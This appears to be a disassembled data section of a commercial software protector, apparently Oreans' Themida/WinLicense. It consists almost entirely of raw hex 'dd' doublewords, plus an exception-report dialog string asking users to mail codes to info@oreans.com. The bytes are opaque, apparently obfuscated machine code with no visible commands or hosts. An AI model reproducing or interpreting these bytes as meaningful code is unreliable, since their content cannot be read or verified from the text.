		dd 0Bh,	0B8783869h, 3645A253h, 89227C88h, 73119BDh, 0D0FF5906h
		dd 2959958Bh, 6A0607h, 2D1BD2Bh, 95FF0607h, 607191Dh, 0BE8h
		dd 402C5D00h, 0E65CB1E6h, 0F2BBC015h, 0F5C08B59h, 211BD83h
		dd 75000607h, 65BD8309h, 6070Dh, 53501974h, 0D9B8C08Bh
		dd 89000007h, 7302D85h,	0A89D8D06h, 0FF0609AAh,	83585BD3h
		dd 70D65BDh, 17740006h,	0D9B85350h, 89000007h, 7302D85h
		dd 979D8D06h, 0FF0609A7h, 8B585BD3h, 71B85BDh, 52006A06h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1B04h, 0C3524200h
		dd 0FAFE52BDh, 27B65D50h, 0BA66C08Bh, 5750240Ah, 934BBA66h
		dd 8BEE8A5Fh, 53006AD8h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1704h, 0C3534300h, 0D9612AB9h, 0AD9D8D53h, 8B060730h
		dd 8B038903h, 43895043h, 1B9D8D50h, 8B0609FFh, 5B038903h
		dd 0FD08B66h, 8589C9BFh, 6071461h, 6A006Ah, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 1D0424h, 51410000h, 0F26EC2C3h
		dd 0A9A9FEF3h, 8D5BAA12h, 9FF1B85h, 14E906h, 53670000h
		dd 0DAA05AC3h, 0FFDC86DEh, 3A91A8CCh, 64CCFB33h, 66507E7Ch
		dd 3287F781h, 6A606Ah, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 160424h, 50400000h, 41868DC3h, 8DA5E980h, 730AD85h
		dd 0CD858906h, 50060715h, 195DBD8Bh, 6A0607h, 0E1816656h
		dd 0B15A56C6h, 6A006A06h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 17042444h, 41000000h, 0E577C351h,	8E9DA37h
		dd 6D000000h, 1648A8EDh, 68E22E1Ah, 1800h, 319D9503h, 89530607h
		dd 71E4D9Dh, 0C995FF06h, 8006072Fh, 95FFC5F6h, 6071AF5h
		dd 0B5FFCF8Ah, 609FF82h, 0E853006Ah, 3,	5BC35B20h, 4245C89h
		dd 4244481h, 1Bh, 24C35343h, 2D8E32D9h,	60A217C1h, 9E9h
		dd 72797B00h, 5491DAF5h, 12E9D185h, 9D000000h, 161FC099h
		dd 2BC48BF7h, 0C1B091FEh, 0CD2D423Ch, 95FF619Ch, 6071C19h
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 18h, 57C35747h
		dd 0D477E055h, 1118589h, 850F0607h, 0Ch, 68D0Fh, 0BD8B0000h
		dd 60720DDh, 30AD858Dh,	9600607h, 705319Dh, 0A1BD8B06h
		dd 61060705h, 13B1BD8Bh, 408B0607h, 0FB8B6618h,	0F5585C7h
		dd 607h, 0BD8B0000h, 6072F79h, 99BD23h,	0BD830607h, 6070A09h
		dd 6D840F00h, 6A000000h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 1A042444h, 47000000h, 7C00C357h, 68206FAh
		dd 0DF81665Ah, 8C3D48E7h, 0F000000h, 18B83h, 8840F00h
		dd 0F000000h, 28Bh, 0E9CA8A00h,	3Fh, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 1Dh, 0ACC35545h,	0D8293EF9h, 0AE9993F6h
		dd 0F9B70F16h, 963Dh, 45830F00h, 0F000001h, 688h, 0C1B52900h
		dd 8D060721h, 5AF59F85h, 0FEBF0F00h, 0F560D0FFh, 30358589h
		dd 0E9610607h, 8, 0B662425Bh, 56A2CADEh, 0EFF2858Dh, 8501005Ah
		dd 6070141h, 6AD0FFh, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 1A0424h, 57470000h, 0DC9CEC3h, 42004036h, 2FE9B531h
		dd 5A520607h, 870FC08Bh, 5, 0D38B6653h,	11BD835Ah, 60702h
		dd 0BD830975h, 6070D65h, 50197400h, 0B8C08B53h,	0BC6h
		dd 302D8589h, 9D8D0607h, 609AAA8h, 585BD3FFh, 0D65BD83h
		dd 74000607h, 0B8535017h, 0BC6h, 302D8589h, 9D8D0607h
		dd 609A797h, 585BD3FFh,	0C18589F8h, 8B06070Ah, 51958BC0h
		dd 83060730h, 850FFFF8h, 41h, 134185C7h, 607h, 6A0000h
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1C0424h, 55450000h
		dd 293DF0C3h, 9ED0FC1Dh, 0BEE90385h, 8A000000h,	158D8BD1h
		dd 0E9060705h, 25h, 1F883F5h, 1B850Fh, 81660000h, 0E93037C9h
		dd 0BFh, 8E9h, 0DB03B000h, 1C626023h, 96BF66E1h, 0F125E9F4h
		dd 0BD8BFFFFh, 607062Dh, 8D8BC08Bh, 6070B11h, 211BD83h
		dd 75000607h, 65BD8309h, 6070Dh, 53501974h, 0DDB8C08Bh
		dd 89000007h, 7302D85h,	0A89D8D06h, 0FF0609AAh,	83585BD3h
		dd 70D65BDh, 17740006h,	0DDB85350h, 89000007h, 7302D85h
		dd 979D8D06h, 0FF0609A7h, 8B585BD3h, 71E4D8Dh, 9D095206h
		dd 60714EDh, 0E9C08B5Ah, 0Ch, 4D74549Ah, 58E496CCh, 6058AF8h
		dd 3BE9CF8Bh, 31000002h, 7217995h, 1F858D06h, 890609FDh
		dd 71D99B5h, 17858906h,	0B90609FFh, 71CECA55h, 63E9h, 75BD8B00h
		dd 8D060703h, 9FB2785h,	57006A06h, 3E8h, 0C35F2000h, 247C895Fh
		dd 24448104h, 1604h, 0C3574700h, 6662FE0Ah, 40191AB9h
		dd 0BADBD8Bh, 0B5890607h, 6071205h, 0FF178589h,	6A0609h
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 140424h, 56460000h
		dd 8D89BCC3h, 6072955h,	858D346Ah, 607277Dh, 17B5FF50h
		dd 6A0609FFh, 195FF00h,	83060712h, 840F07F8h, 162h, 0F6DB8C66h
		dd 850F04C3h, 0FCh, 152585C6h, 68560607h, 9CA8B852h, 2939B5FFh
		dd 858D0607h, 607388Dh,	46AD0FFh, 100068h, 6A646A00h, 89D0FF00h
		dd 9FF8A85h, 2585C606h,	47060715h, 18AC9B68h, 39B5FFECh
		dd 8D060729h, 7388D85h,	0FFD0FF06h, 0C6F08BD0h,	7152585h
		dd 61684F06h, 0FFC62F26h, 730A5B5h, 8D858D06h, 0FF060738h
		dd 869D8DD0h, 530609FFh, 0FF56286Ah, 75C085D0h,	2585C600h
		dd 41060715h, 87649868h, 0A5B5FFDBh, 8D060730h,	7388D85h
		dd 89D0FF06h, 9FFA385h,	2585C606h, 4C060715h, 0A4E7A468h
		dd 0A5B5FF80h, 8D060730h, 7388D85h, 8BD0FF06h, 9FF8A9Dh
		dd 45B8D06h, 8F9D8D53h,	530609FFh, 0D0FF006Ah, 0FF8A9D8Bh
		dd 3C70609h, 1,	20C43C7h, 0C7000000h, 7049D85h,	6, 6A006A00h
		dd 8B006A00h, 9FF8A9Dh,	6A5306h, 0FF86B5FFh, 95FF0609h
		dd 609FFA3h, 152585C6h,	68450607h, 92A5F797h, 3199B5FFh
		dd 858D0607h, 607388Dh,	6AD0FFh, 0D0FF026Ah, 0F6DB8C66h
		dd 327504C3h, 0FF8A9D8Bh, 43C70609h, 0Ch, 6A006A00h, 8A9D8B00h
		dd 530609FFh, 0B5FF006Ah, 609FF86h, 0FFA395FFh,	0B5FF0609h
		dd 609FF86h, 1AF595FFh,	6A0607h, 191D95FFh, 800F0607h
		dd 2, 6A66B5h, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 160424h, 56460000h, 0B7D4B1C3h, 2DA58589h, 858D0607h
		dd 60A319Ch, 3150D78Bh,	72D45BDh, 35FF6406h, 0
		dd 258964h, 6A000000h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 14042444h, 47000000h, 8357C357h, 70129BDh
		dd 840F0006h, 3Bh, 6830Fh, 0B5010000h, 60715BDh, 32B1BD83h
		dd 0F010607h, 2285h, 61BD8B00h,	80060720h, 0A03A3BDh, 850F0006h
		dd 0Fh,	3737BA66h, 124E9h, 9AE18100h, 332B66D3h, 0C1F580DBh
		dd 8C0FC033h, 6, 1E058D03h, 0F400607h, 640B073Fh, 58Fh
		dd 0C4830000h, 9589FC04h, 6070EFDh, 0C458D181h,	0FB83292Fh
		dd 11840FFFh, 81000000h, 0A46886EAh, 0D1E90Fh, 8D010000h
		dd 60706EDh, 62E9h, 0ECBF6600h,	244C8B6Ah, 0A481C70Ch
		dd 0FF000000h, 83FFFFFFh, 0B881h, 0C0330400h, 245C8BC3h
		dd 0E8550Ch, 5D000000h,	31BEED81h, 838B060Ah, 0B8h, 3268858Dh
		dd 8389060Ah, 0B8h, 0C3C0335Dh,	29D68B66h, 72F15B5h, 11E906h
		dd 4240000h, 74B6D8E9h,	0AF535337h, 8AA5B87Ah, 8D845820h
		dd 0A31B485h, 502BB106h, 64CE8B66h, 35FFh, 6A0000h, 3E855h
		dd 5D200000h, 6C895DC3h, 44810424h, 140424h, 55450000h
		dd 95093FC3h, 60717A1h,	258964h, 0B9000000h, 0Ah, 55D704B8h
		dd 81640548h, 65BB0DF7h, 0BA8685D4h, 34B640h, 5FE8EA81h
		dd 81ED0034h, 4D5868FBh, 0C70A7556h, 717B185h, 106h, 58F6400h
		dd 0
		dd 3104C483h, 712898Dh,	0AE906h, 0A2EC0000h, 0F427C9D8h
		dd 0C87F4F41h, 0BD89C08Bh, 6071791h, 211BD83h, 75000607h
		dd 65BD8309h, 6070Dh, 53501974h, 3DB8C08Bh, 89000004h
		dd 723A985h, 0F9D8D06h,	0FF0609ABh, 83585BD3h, 70D65BDh
		dd 17740006h, 3DB85350h, 89000004h, 723A985h, 0B09D8D06h
		dd 0FF0609A7h, 8B585BD3h, 6AF88BCAh, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 1D042444h, 46000000h, 52D2C356h
		dd 0FB4ED10Dh, 0E1BDC699h, 0B79280BFh, 0E9C08B7Eh, 13Ah
		dd 4, 35382E31h, 35h, 6	dup(0)
		db    0
		align 2
aExceptionInfor	db 'Exception Information',0
aPleaseSendTheF	db 'Please, send the following codes to info@oreans.com. Thank you.',0Ah
		db 0Dh,0Ah
		db 0Dh,'        (press CTRL+C on this window to copy to clipboard)    ',0Ah
		db 0Dh,0Ah
		db 0Dh,'Version  = %s',0Ah
		db 0Dh,'CheckIN  = %d',0Ah
		db 0Dh,'CheckOUT = %d',0Ah
		db 0Dh,'ProcIN   = %d',0Ah
		db 0Dh,'ProcOUT  = %d',0Ah
		db 0Dh,'ExitIN   = %d',0Ah
		db 0Dh,'ExitOUT  = %d',0Ah
		db 0Dh,'TPin     = %d',0Ah
		db 0Dh,0
		dw 0BD83h
		dd 6072389h, 2D840F00h,	8D000001h, 9A5C785h, 858D5006h
		dd 609A531h, 16850h, 95FF8000h,	609A5D7h, 330F858Dh, 8D50060Ah
		dd 0A331985h, 6A5006h, 858D006Ah, 609A545h, 0C7B5FF50h
		dd 0FF0609A5h, 704DD95h, 0F858D06h, 50060A33h, 331D858Dh
		dd 6A50060Ah, 8D006A00h, 9A55785h, 0B5FF5006h, 609A5C7h
		dd 4DD95FFh, 858D0607h,	60A330Fh, 29858D50h, 50060A33h
		dd 6A006Ah, 0A5A4858Dh,	0FF500609h, 9A5C7B5h, 0DD95FF06h
		dd 8D060704h, 0A330F85h, 858D5006h, 60A3331h, 6A006A50h
		dd 0C2858D00h, 500609A5h, 0A5C7B5FFh, 95FF0609h, 60704DDh
		dd 330F858Dh, 8D50060Ah, 0A332D85h, 6A5006h, 858D006Ah
		dd 609A5ABh, 0C7B5FF50h, 0FF0609A5h, 704DD95h, 0F858D06h
		dd 50060A33h, 3321858Dh, 6A50060Ah, 8D006A00h, 9A5B385h
		dd 0B5FF5006h, 609A5C7h, 4DD95FFh, 858D0607h, 60A330Fh
		dd 25858D50h, 50060A33h, 6A006Ah, 0A5BA858Dh, 0FF500609h
		dd 9A5C7B5h, 0DD95FF06h, 0FF060704h, 9A5C7B5h, 0C995FF06h
		dd 0E9060723h, 0A2h, 1E51BD83h,	0F000607h, 9584h, 0B1BD8300h
		dd 60732h, 11850Fh, 958B0000h, 6071B75h, 1CF8C281h, 0FE90000h
		dd 8D000000h, 730AD95h,	34528B06h, 0C340C281h, 95893BD4h
		dd 6072F11h, 2F11BD83h,	0F000607h, 5584h, 119D8B00h, 8306072Fh
		dd 38B4CC3h, 33198589h,	9D8B060Ah, 6072F11h, 8B50C383h
		dd 1D858903h, 8B060A33h, 72F119Dh, 54C38306h, 8589038Bh
		dd 60A3329h, 2F119D8Bh,	0C3830607h, 89038B58h, 0A332D85h
		dd 119D8B06h, 8306072Fh, 38B5CC3h, 33218589h, 0BD83060Ah
		dd 6072389h, 0D850F00h,	83000000h, 71E51BDh, 840F0006h
		dd 68h,	3331B5FFh, 0B5FF060Ah, 60A3325h, 3321B5FFh, 0B5FF060Ah
		dd 60A332Dh, 3329B5FFh,	0B5FF060Ah, 60A331Dh, 3319B5FFh
		dd 858D060Ah, 60A3313h,	4B858D50h, 50060A33h, 2411858Dh
		dd 0FF500607h, 70F1D95h, 24C48306h, 858D406Ah, 60A3335h
		dd 11858D50h, 50060724h, 95FF006Ah, 6071201h, 95FF016Ah
		dd 607191Dh, 12E8C18Bh,	0F3000000h, 0EE514F53h,	6FB986B5h
		dd 0FC284368h, 63F17C8Dh, 0B3D880CFh, 81FA8B5Bh, 618BC3h
		dd 1BEAB800h, 4BBA36A7h, 8156B6C8h, 494FC6C2h, 14890FA9h
		dd 0E9000000h, 0Fh, 0B90A5D3Ch,	10CD1DBh, 2F7F4C0Eh, 0FF8F2539h
		dd 0C7816633h, 805E01FFh, 0C681BCF4h, 6C87B8F4h, 9E8h
		dd 3D24A00h, 562A1CBDh,	0BE95733h, 88000000h, 0FFB6A56Ch
		dd 17444926h, 815FDEAFh, 8F0E9BEEh, 8E853h, 94B80000h
		dd 428D9235h, 8C0F8514h, 3, 59CFBF0Fh, 103AC681h, 0B70F0DA8h
		dd 0F0BF56FBh, 8F1CFAE0h, 14E96003h, 0E9000000h, 0D8ED5DB1h
		dd 0A235A43Ah, 911C3207h, 0C69AE9A6h, 0F2AF8F8h, 1683h
		dd 10E800h, 57D00000h, 4E5F00D3h, 24027A59h, 18DDD3C2h
		dd 615E2A00h, 0A9D3EB81h, 0B5BF1422h, 81160DE3h, 22A9CFC3h
		dd 0DE914h, 0CCA20000h,	0FBCA611Dh, 1F91A7C5h, 83499CF1h
		dd 850F01EAh, 1Eh, 880Fh, 37E90000h, 0A2000000h, 784F0492h
		dd 0A2A307C9h, 0E087A2B5h, 0F2CB269h, 5E8A218h,	0C8000000h
		dd 0E699DB41h, 2830Fh, 5F520000h, 0FF09E958h, 0F7DBFFFFh
		dd 0C3AB99B6h, 2150EEB2h, 0F60249Eh, 0C08BCABFh, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 17h, 53C35343h, 602DEE99h
		dd 8BCA8B66h, 0BD8361C6h, 6070211h, 83097500h, 70D65BDh
		dd 19740006h, 0C08B5350h, 40EB8h, 2D858900h, 8D060730h
		dd 9AAA89Dh, 5BD3FF06h,	65BD8358h, 6070Dh, 53501774h, 40EB8h
		dd 2D858900h, 8D060730h, 9A7979Dh, 5BD3FF06h, 6A0BB558h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 16042444h
		dd 47000000h, 0BC10C357h, 4890FF2h, 66000000h, 8BB546BEh
		dd 55006AC0h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1904h
		dd 0C3554500h, 0CE0DD1CAh, 0BD8349CEh, 6070129h, 0D840F00h
		dd 80000000h, 0E1E944E1h, 0BE000001h, 6BED26E1h, 0F766DF8Ch
		dd 0F0004C7h, 1CF85h, 0D78B6600h, 6AFF2Bh, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 140424h, 55450000h, 9D8D8FC3h
		dd 60A3A87h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
		dd 17h,	1AC35343h, 0F794347h, 8950CABFh, 6A241Ch, 3E851h
		dd 59200000h, 4C8959C3h, 44810424h, 140424h, 51410000h
		dd 806024C3h, 61F555CCh, 35FF64h, 6A000000h, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 1D042444h, 41000000h
		dd 0F11AC351h, 1C240431h, 29E42DC3h, 4E25E681h,	0CE923E6h
		dd 23000000h, 0D6ADC39Ch, 2036AD23h, 64439A54h,	2589h
		dd 81660000h, 6038D5EEh, 0BBDB8166h, 0F0CF818Bh, 615BF2FDh
		dd 0CE9C48Bh, 23000000h, 320497BCh, 9DCFB18Bh, 0CDD67603h
		dd 6A00EB01h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 1D042444h, 40000000h, 0C553C350h, 0E006C88Fh, 0FB8E78FEh
		dd 7820Fh, 8F0F0000h, 1, 0F08B66FCh, 4870Fh, 0B9660000h
		dd 8F64B78Eh, 5, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh
		dd 24448104h, 1704h, 0C3574700h, 0FCE0D4CCh, 83FCFDB6h
		dd 0BF904C4h, 79840FC0h, 66000000h, 61751ABEh, 0BD8DDCB5h
		dd 6076EC1h, 13E9h, 85336C00h, 3821E246h, 704EC4C0h, 796B965Dh
		dd 0F293E102h, 1B8h, 55006A00h,	3E8h, 0C35D2000h, 246C895Dh
		dd 24448104h, 1404h, 0C3554500h, 0FFCA8B94h, 14ED80E7h
		dd 245C8B57h, 0B8838B10h, 0F000000h, 0FE0140B6h, 0B08389C8h
		dd 83000000h, 0B883h, 335F0200h, 8166C3C0h, 808C7CCEh
		dd 0E88A4FD5h, 50006A61h, 3E8h,	0C3582000h, 24448958h
		dd 24448104h, 1C04h, 0C3504000h, 1BD70ABBh, 0BA3E9889h
		dd 0F5BA6638h, 10E949h,	0D6360000h, 94875606h, 0B373EB5Ah
		dd 0A59B9510h, 0C08BCD0Bh, 0E851006Ah, 3, 59C35920h, 4244C89h
		dd 4244481h, 1Dh, 0C7C35141h, 21C15EAh,	30F3D66h, 83C88A68h
		dd 70211BDh, 9750006h, 0D65BD83h, 74000607h, 8B535019h
		dd 40EB8C0h, 85890000h,	60723A9h, 0AB0F9D8Dh, 0D3FF0609h
		dd 0BD83585Bh, 6070D65h, 50177400h, 40EB853h, 85890000h
		dd 60723A9h, 0A7B09D8Dh, 0D3FF0609h, 32B5585Bh,	0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Ah, 74C35343h, 0CC330579h
		dd 8BF9EEBCh, 28F0FC0h,	8B000000h, 0EBC28BF2h, 46F31718h
		dd 9Bh,	4 dup(0)
		dd 20BE900h, 8B600000h,	0E824245Ch, 0
		dd 0BFED815Dh, 61060A3Bh, 0E90004C2h, 0FFFFFFE6h, 8C26160h
		dd 0FFF6E900h, 6160FFFFh, 0E90008C2h, 0FFFFFFF6h, 8C26160h
		dd 0FFF6E900h, 6160FFFFh, 0E90008C2h, 0FFFFFFF6h, 2 dup(0)
		dd 0E9C36160h, 0FFFFFFF8h, 3BF7B58Bh, 0E681060Ah, 0FFFFF000h
		dd 0BE9h, 19E800h, 0C6810000h, 1000h, 3BFBB53Bh, 860F060Ah
		dd 0FFFFFFE9h, 0FD8200Fh, 60CFD822h, 6650C361h,	324C88Ch
		dd 840FC00Ah, 19h, 2BB5350h, 8B000000h,	72F1185h, 0A188606h
		dd 0F6850FDBh, 5BFFFFFFh, 4FF5858h, 0CFE9C324h,	50FFFFFFh
		dd 82474FFh, 11CD95FFh,	0F500607h, 0FE244C01h, 1CC08358h
		dd 245C8B53h, 5889660Ch, 588966FCh, 8C665B02h, 0A0324C8h
		dd 9840FC0h, 8B000000h,	72F1185h, 0C606h, 2404FF58h, 0E90004C2h
		dd 0FFFFFFBBh, 8C665053h, 3E380CBh, 840FDB0Ah, 38h, 2BBh
		dd 11858B00h, 8606072Fh, 0FDB0A18h, 0FFFFF685h,	4985C7FFh
		dd 6071Ch, 8B000000h, 8B082444h, 100098h, 988900h, 8B000010h
		dd 0E9188918h, 0Ah, 1C4985C7h, 1000607h, 5B580000h, 0C32404FFh
		dd 0FFFFA3E9h, 3E8060FFh, 31840F00h, 0BB000000h, 763AB7A1h
		dd 1B101B0h, 13E9h, 0C88AAC00h,	0C332C302h, 0BAACBD1h
		dd 1840FD2h, 4A000000h,	850FC90Ah, 0FFFFFFE5h, 850FD20Bh
		dd 0FFFFFFDDh, 8B52C361h, 7A8B57D4h, 0E9C03308h, 1, 3F80AAh
		dd 0FFF6850Fh, 5A5FFFFFh, 530004C2h, 0C0335651h, 10E9DB33h
		dd 0AC000000h, 0D3D1D833h, 5ABCC381h, 0C88A3746h, 0B49D3D3h
		dd 0E8850FC9h, 8BFFFFFFh, 5B595EC3h, 0A1BB60C3h, 0B0763AB7h
		dd 11E901h, 32AC0000h, 0D1C32AC3h, 0D20BAACBh, 1840Fh
		dd 0A4A0000h, 0E7850FC0h, 0BFFFFFFh, 0DF850FD2h, 61FFFFFFh
		dd 0D88C66C3h, 840F04A8h, 29h, 3B9C85C7h, 1060Ah, 0F500000h
		dd 0FE244C01h, 3BA0858Fh, 858D060Ah, 60A3B98h, 3BA0BD8Dh
		dd 3889060Ah, 23E9h, 0AD858D00h, 8B060730h, 17053840h
		dd 899B46F3h, 0A3B9885h, 0AD858D06h, 8B060730h,	85893C40h
		dd 60A3B9Ch, 3BB5858Dh,	8589060Ah, 60711CDh, 87E9h, 0D48B5200h
		dd 8728B60h, 0B80C7A8Bh, 0A945CAB2h, 7E9h, 30060000h, 46C8D106h
		dd 820FF73Bh, 0FFFFFFF1h, 8C25A61h, 0D48B5200h,	8728B60h
		dd 0B80C7A8Bh, 0A945CAB2h, 7E9h, 28063000h, 46C8D106h
		dd 820FF73Bh, 0FFFFFFF1h, 8C25A61h, 0D48B5200h,	33535156h
		dd 8728BDBh, 0E90C4A8Bh, 13h, 0F2D3CACh, 0A84h,	34980400h
		dd 0C1D83213h, 0B4908C3h, 0E5850FC9h, 8BFFFFFFh, 5E595BC3h
		dd 8C25Ah, 3E28858Dh, 8589060Ah, 6072F61h, 3E50858Dh, 8589060Ah
		dd 607044Dh, 3E78858Dh,	8589060Ah, 6071FD1h, 8EBh, 0
		dd 7BE90000h, 60000000h, 4C010F52h, 835AFE24h, 858B24C2h
		dd 60732B1h, 89C7858Dh,	88B060Ah, 1000888Bh, 0A8B0000h
		dd 0FC4A8B66h, 3ED98D89h, 0BD83060Ah, 6070A09h,	0F840F00h
		dd 60000000h, 95FF006Ah, 6071B69h, 0FFC4E961h, 8966FFFFh
		dd 0CEC1FC72h, 72896610h, 4CD5202h, 0D585895Ah,	8B060A3Eh
		dd 0A3ED9B5h, 10CEC106h, 2728966h, 3ED9B58Bh, 8966060Ah
		dd 8B61FC72h, 0A3ED585h, 958DC306h, 60721E1h, 2F119589h
		dd 95890607h, 6071A29h,	1A2985FFh, 85C60607h, 6071525h
		dd 48D86853h, 0B5FFFCB1h, 6072939h, 388D858Dh, 0D0FF0607h
		dd 1B698589h, 858D0607h, 60A3BCFh, 0C318589h, 0EB0607h
		dd 5C7E9h, 5BBE900h, 83680000h,	0E9060A40h, 0FFFD3CCDh
		dd 0A41A568h, 3CC3E906h, 3968FFFDh, 0E9060A42h,	0FFFD3CB9h
		dd 0A42F068h, 3CAFE906h, 2F68FFFDh, 0E9060A44h,	0FFFD3CA5h
		dd 236F0DBAh, 297503C5h, 2E7A02CBh, 2E7A24D0h, 2F7B09D0h
		dd 1CE32445h, 26EE4C98h, 30F654A0h, 35F856A2h, 6DE85BA7h
		dd 6589F9Eh, 0FDE1C0F0h, 0C67C76Ah, 67989BF6h, 6ED0F60Ch
		dd 0FEF60C67h, 0F60C6733h, 0D3792583h, 4B1AD020h, 0F60C67E5h
		dd 0C67B27Dh, 38308E76h, 86CEEEBDh, 90EE7C13h, 37873AE4h
		dd 0D68C10D9h, 0D331ACFCh, 80D08311h, 2BF14FCAh, 35FB59A5h
		dd 0ED634AFh, 0CF85D588h, 0D7912D1Ch, 0A937FE5Ch, 0D62F9DE6h
		dd 6E243D66h, 0F50C24F3h, 29797A14h, 0D786D5CAh, 80D68934h
		dd 44Eh, 0BF0BB15Eh, 0C5119F61h, 0CA169E67h, 0D21EC06Ch
		dd 0DB27AD74h, 0D097D0F1h, 0D29AF844h, 0DCA2004Ch, 0E9AC0A56h
		dd 219C0F5Bh, 627E352h,	0B99D7CF0h, 0D98C18DBh,	1BFD9B5Eh
		dd 474C8390h, 0C7EC291h, 6E11F60Ch, 0BA4609D4h,	9735E13Fh
		dd 92DE94E4h, 30E37134h, 0CE810FD2h, 6A1DA770h,	0DC0460Ch
		dd 518EA84Bh, 8752EC8Fh, 0D9672AC4h, 3A86D626h,	0C399D89Ah
		dd 3A81893h, 0BE340000h, 5A109E60h, 0DA9D39FCh,	965247DBh
		dd 0DA2A909Ch, 8D5CD727h, 0F60CC8AEh, 5C0F5FAFh, 0CC8A38Dh
		dd 0AE882BF6h, 88D46023h, 5EE6AF0Dh, 0CC8AC8Fh,	6736B1F6h
		dd 0F60CC8D4h, 6EE93989h, 0CC89C9Fh, 0FE71C1F6h, 0C881B483h
		dd 8EDEF60Ch, 37EEB513h, 0CC8D568h, 0EA3A8AF6h,	8C10D937h
		dd 8C32DE3Ch, 0FFC523D6h, 6243DFEh, 2575B231h, 2CB87BD9h
		dd 36328A79h, 3BC98CEAh, 0CB4EFDC0h, 0BF523919h, 30F85609h
		dd 0A48B5AA6h, 2DF60CE9h, 3D2CDF65h, 9D6CE781h,	0FC13189Fh
		dd 981170C0h, 0BCAED042h, 32CB309h, 0D3800000h,	0BD7FDD29h
		dd 0BC85E32Fh, 0E28EEC38h, 0CB92F03Ch, 0EE0FF945h, 0E5AE6ADh
		dd 125EE8B0h, 1C68EEB4h, 216DFBBEh, 0D16433AEh,	8EF00626h
		dd 18DBCBAFh, 0C796118Ch, 0F60C6774h, 30E399E9h, 0CE810FD2h
		dd 0A31EA870h, 43F68245h, 0E29523E5h, 408C4292h, 0C680E71h
		dd 0E17336F6h, 8EAD7CA3h, 0CFF60C85h, 0D153BC7Fh, 0A2115417h
		dd 0B328F73Eh, 20032EFDh, 8D0F60Ch, 35FCCB7Eh, 0DF60C20h
		dd 6D3CB7B1h, 0FC13C903h, 8E2584D4h, 7AAED082h,	29871C7h
		dd 67140000h, 591B79C5h, 58217FCBh, 7E2A88D4h, 6F3694E0h
		dd 8AAB95E1h, 0BA068A51h, 0BE0A945Ch, 0C00C9A60h, 0C5119F62h
		dd 3508D752h, 2AF00625h, 18DB674Bh, 0B87BD98Ch,	14B7792Ch
		dd 60ECAF3Ah, 2EB27414h, 23F293C3h, 77000002h, 6DF587B4h
		dd 2E5D20A4h, 12F6AC05h, 0C67C76Ah, 0C0460CF6h,	881EE745h
		dd 2F7F32DCh, 7FDD29DFh, 0FD782BB9h, 0B40A633Ah, 33F97B03h
		dd 5AAAFAADh, 0F28046A4h, 921EE13Fh, 37D581DFh,	0F54DF084h
		dd 449422E8h, 7A47DF82h, 42E22EB4h, 93C36780h, 48C0h, 744ADC00h
		dd 66AA79F4h, 0AFFC1369h, 0E2BD005Fh, 0A659AED0h, 1E150h
		dd 7E1ECB00h, 8412D432h, 8B11DA38h, 9735E13Fh, 9A26ED4Bh
		dd 0A43644Eh, 1371BD43h, 1775C14Bh, 1977C351h, 0B7ECA56h
		dd 2572C190h, 0CEBF006h, 0D04BC628h, 160A9255h,	5306B54Dh
		dd 0CC2B184h, 0A85EAEF6h, 0CCDA2D9h, 8BB0BF6h, 125EE4AAh
		dd 0E863F1B4h, 0C29F9E6Dh, 62C0F60Ch, 10C6169Ch, 1A4E6E5Dh
		dd 1CAA70CEh, 21AF72D0h, 0D95C2BA6h, 86F60CC2h,	8816D836h
		dd 46A41FD2h, 0F242F583h, 6516DE3Ch, 0CC2A796h,	0E16B34F6h
		dd 0B8F4B707h, 0EFBCD70Fh, 3FB2FE4Eh, 4A46F5C4h, 0B917F60Ch
		dd 66B669F7h, 3C056316h, 93F16CB8h, 9C8B41CBh, 3896491Dh
		dd 8814D76Fh, 0E93585D5h, 0C4A171Ah, 0AA932BF6h, 0C4A58DBh
		dd 65B505F6h, 0B7A91BEAh, 0C616FC13h, 8E0DD04Bh, 1E0FB9AAh
		dd 373706D5h, 0D828F00Bh, 8749A722h, 34037EF9h,	0F00B3701h
		dd 0E9B00E5Eh, 0A258A85Bh, 0A836F856h, 35D197F5h, 8412D872h
		dd 7E3181D1h, 0CD2BDE2Eh, 51CC7F05h, 53EC008Eh,	6B21CF5Fh
		dd 0DC0440Dh, 0CE9DA01Eh, 0F00B696Fh, 0D550A0F0h, 148BFA06h
		dd 23EC4AFAh, 0B909E399h, 0D7D16D5Ah, 388E41B4h, 0A2h
		dd 73BF5D0Ah, 79C55315h, 7ECA521Bh, 7ECA7420h, 7FCB5920h
		dd 6C337495h, 763E9CE8h, 8046A4F0h, 8548A6F2h, 0BD38ABF7h
		dd 6234FEEh, 4D3110F0h,	811918DBh, 8E501476h, 116F2272h
		dd 4D0FC24Eh, 824590AAh, 6C2FAAF6h, 0E6B5FC1Ah,	0F60C4557h
		dd 0A7F5B808h, 53FF5D9Eh, 0F0A6F6A9h, 0C3C68E50h, 10CE93h
		dd 6AEA0000h, 0F60C67C6h, 70BC480Bh, 241Ah, 0FBBE3600h
		dd 862A265Bh, 0E7B66C54h, 0F60C2D58h, 5F7A96Ch,	216518Ah
		dd 6A6BF028h, 0AC0100Fh, 0F5BE9ACh, 83CEE12Bh, 2, 2EDBB397h
